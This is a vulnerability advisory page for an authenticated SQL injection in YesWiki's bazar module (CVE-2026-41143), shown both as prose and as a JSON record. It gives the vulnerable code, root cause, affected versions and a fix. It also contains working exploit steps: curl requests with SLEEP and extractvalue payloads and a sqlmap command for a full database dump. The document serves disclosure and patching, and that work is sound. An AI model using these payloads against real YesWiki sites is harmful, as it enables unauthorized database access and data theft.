GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-F58V-P6J9-24C2

Vulnerability from github – Published: 2026-04-18 01:00 – Updated: 2026-05-08 20:09
VLAI
Summary
YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()
Details

Vulnerability Details

YesWiki bazar module contains a SQL injection vulnerability in tools/bazar/services/EntryManager.php at line 704. The $data['id_fiche'] value (sourced from $_POST['id_fiche']) is concatenated directly into a raw SQL query without any sanitization or parameterization.

Vulnerable Code (EntryManager.php:704):

$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $data['id_fiche'] . "'"
);

Attack Path: 1. Attacker authenticates as any user (route requires acl:{"+"}) 2. POST /api/entries/{formId} with id_fiche=' OR SLEEP(3) OR ' 3. ApiController::createEntry() checks isEntry($_POST['id_fiche']) → false (not existing entry) → calls create() 4. create()formatDataBeforeSave() → SQL injection at line 704

dbService->loadSingle() passes raw string to mysqli_query() with no escaping. The escape() method exists but is NOT called here.

Docker PoC confirmation: - Normal query: SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag='TestEntry'2024-01-01 00:00:00 - Injected: WHERE tag='' OR SLEEP(3) OR ''elapsed: 3.00s (SLEEP confirmed) - Time-based blind SQLi enables full database dump via binary search

Steps to Reproduce

Prerequisites: Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.

Step 1 – Obtain session cookie (standard login via web UI or API)

Step 2 – Time-based blind SQLi (confirm vulnerability):

curl -s -X POST 'http://TARGET/?api/entries/1' \
  -H 'Cookie: wikini_session=<SESSION>' \
  -d "antispam=1&bf_titre=TestTitle&id_fiche=' OR SLEEP(3) OR '"

→ Response delays ~3 seconds confirming SQL injection.

Step 3 – Error-based SQLi (version exfil):

curl -s -X POST 'http://TARGET/?api/entries/1' \
  -H 'Cookie: wikini_session=<SESSION>' \
  -d "antispam=1&bf_titre=TestTitle&id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -"

→ Returns MySQL version in XPATH error: XPATH syntax error: '~8.4.8'

Step 4 – Full dump via sqlmap:

sqlmap -u 'http://TARGET/?api/entries/1' \
  --data "antispam=1&bf_titre=T&id_fiche=test" \
  -p id_fiche --cookie "wikini_session=<SESSION>" \
  --dbms=MySQL --technique=BET --level=2

Docker PoC Output (confirmed)

[STEP 1] Normal input: Result (2024-01-01 00:00:00)
[STEP 2] id_fiche=' OR SLEEP(3) OR '  → Elapsed: 3.00s ← SLEEP(3) CONFIRMED
[STEP 3] id_fiche=' AND extractvalue(1,concat(0x7e,@@version))-- -
         DB_ERROR: (1105, "XPATH syntax error: '~8.4.8'")

Root Cause

In tools/bazar/services/EntryManager.php line 704:

$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $data['id_fiche'] . "'"
);

$data['id_fiche'] comes from $_POST['id_fiche'] (user input). DbService::escape() exists but is not called here. loadSingle() passes the raw string directly to mysqli_query().

Proposed Fix

Replace the vulnerable line with parameterized query or call $this->dbService->escape():

$tag = $this->dbService->escape($data['id_fiche']);
$result = $this->dbService->loadSingle(
    'SELECT MIN(time) as firsttime FROM ' . $this->dbService->prefixTable('pages') .
    "WHERE tag='" . $tag . "'"
);

PoC Screenshot

PoC: SLEEP(3) confirmed + MySQL version exfil

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:00:30Z",
    "nvd_published_at": "2026-05-07T06:16:04Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\nYesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data[\u0027id_fiche\u0027]` value (sourced from `$_POST[\u0027id_fiche\u0027]`) is concatenated directly into a raw SQL query without any sanitization or parameterization.\n\n**Vulnerable Code (EntryManager.php:704):**\n```php\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $data[\u0027id_fiche\u0027] . \"\u0027\"\n);\n```\n\n**Attack Path:**\n1. Attacker authenticates as any user (route requires `acl:{\"+\"}`)\n2. POST `/api/entries/{formId}` with `id_fiche=\u0027 OR SLEEP(3) OR \u0027`\n3. `ApiController::createEntry()` checks `isEntry($_POST[\u0027id_fiche\u0027])` \u2192 false (not existing entry) \u2192 calls `create()`\n4. `create()` \u2192 `formatDataBeforeSave()` \u2192 SQL injection at line 704\n\n**`dbService-\u003eloadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.**\n\n**Docker PoC confirmation:**\n- Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag=\u0027TestEntry\u0027` \u2192 `2024-01-01 00:00:00`\n- Injected: `WHERE tag=\u0027\u0027 OR SLEEP(3) OR \u0027\u0027` \u2192 **elapsed: 3.00s (SLEEP confirmed)**\n- Time-based blind SQLi enables full database dump via binary search\n\n## Steps to Reproduce\n\n**Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.\n\n**Step 1 \u2013 Obtain session cookie** (standard login via web UI or API)\n\n**Step 2 \u2013 Time-based blind SQLi (confirm vulnerability):**\n```bash\ncurl -s -X POST \u0027http://TARGET/?api/entries/1\u0027 \\\n  -H \u0027Cookie: wikini_session=\u003cSESSION\u003e\u0027 \\\n  -d \"antispam=1\u0026bf_titre=TestTitle\u0026id_fiche=\u0027 OR SLEEP(3) OR \u0027\"\n```\n\u2192 Response delays ~3 seconds confirming SQL injection.\n\n**Step 3 \u2013 Error-based SQLi (version exfil):**\n```bash\ncurl -s -X POST \u0027http://TARGET/?api/entries/1\u0027 \\\n  -H \u0027Cookie: wikini_session=\u003cSESSION\u003e\u0027 \\\n  -d \"antispam=1\u0026bf_titre=TestTitle\u0026id_fiche=\u0027 AND extractvalue(1,concat(0x7e,@@version))-- -\"\n```\n\u2192 Returns MySQL version in XPATH error: `XPATH syntax error: \u0027~8.4.8\u0027`\n\n**Step 4 \u2013 Full dump via sqlmap:**\n```bash\nsqlmap -u \u0027http://TARGET/?api/entries/1\u0027 \\\n  --data \"antispam=1\u0026bf_titre=T\u0026id_fiche=test\" \\\n  -p id_fiche --cookie \"wikini_session=\u003cSESSION\u003e\" \\\n  --dbms=MySQL --technique=BET --level=2\n```\n\n## Docker PoC Output (confirmed)\n```\n[STEP 1] Normal input: Result (2024-01-01 00:00:00)\n[STEP 2] id_fiche=\u0027 OR SLEEP(3) OR \u0027  \u2192 Elapsed: 3.00s \u2190 SLEEP(3) CONFIRMED\n[STEP 3] id_fiche=\u0027 AND extractvalue(1,concat(0x7e,@@version))-- -\n         DB_ERROR: (1105, \"XPATH syntax error: \u0027~8.4.8\u0027\")\n```\n\n## Root Cause\n\nIn `tools/bazar/services/EntryManager.php` line 704:\n```php\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $data[\u0027id_fiche\u0027] . \"\u0027\"\n);\n```\n`$data[\u0027id_fiche\u0027]` comes from `$_POST[\u0027id_fiche\u0027]` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`.\n\n## Proposed Fix\n\nReplace the vulnerable line with parameterized query or call `$this-\u003edbService-\u003eescape()`:\n```php\n$tag = $this-\u003edbService-\u003eescape($data[\u0027id_fiche\u0027]);\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $tag . \"\u0027\"\n);\n```\n\n## PoC Screenshot\n\n![PoC: SLEEP(3) confirmed + MySQL version exfil](https://raw.githubusercontent.com/n0z0/cve-evidence/main/2026-04/20260401_133905_2bc5340f9be9_yeswiki_sqli_sleep3_confirmed_20260401_133745.png)",
  "id": "GHSA-f58v-p6j9-24c2",
  "modified": "2026-05-08T20:09:58Z",
  "published": "2026-04-18T01:00:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-f58v-p6j9-24c2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/releases/tag/v4.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…